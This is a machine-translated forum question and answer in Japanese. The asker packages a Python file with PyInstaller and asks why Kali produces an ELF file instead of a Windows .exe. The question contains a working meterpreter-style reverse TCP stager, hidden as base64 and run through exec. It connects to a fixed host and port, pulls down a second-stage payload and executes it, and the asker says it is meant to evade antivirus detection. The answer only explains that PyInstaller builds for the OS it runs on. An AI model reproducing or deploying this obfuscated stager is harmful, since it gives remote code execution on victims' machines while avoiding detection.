2017-10-01 4 views
-2

私はkaliでPythonコードをコンパイルしています。PyInstallerが.EXEの.EXEファイルを出力しています

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe 

とコードはアンチウイルス検出を回避するためにいくつかのコメントでちょうどmeterpreterです:これらはpyInstallerのために次のように設定されています。次のコードは次のとおりです。私はそれをコンパイルすると

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]] 
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K'))) 

、私の代わりに.EXEので.elfファイルを受信します。多分私はディレクトリを間違っている可能性がありますか?私はPyInstallerに関連するほとんどのディレクトリをチェックしているので、これはそうではないと思います。私はPyInstallerへのガイドを読んだが、それは役に立たないようだ。どんな解決策ですか?

答えて

1

the documentationから:

pyInstallerのの出力は、アクティブなオペレーティングシステムとPythonのアクティブバージョンに固有です。これはのための配布を準備することを意味します

  • 異なるOS
  • のPythonの異なるバージョン
  • 32ビットまたは64ビットOSあなたは上pyInstallerのを実行

Pythonのそのバージョンの下で、そのOS。 PyInstallerを実行するPythonインタプリタは、バンドルの一部であり、OSとワードサイズに固有です。

Pythonを実行しているKaliでは、.exeを生成することはできません。

関連する問題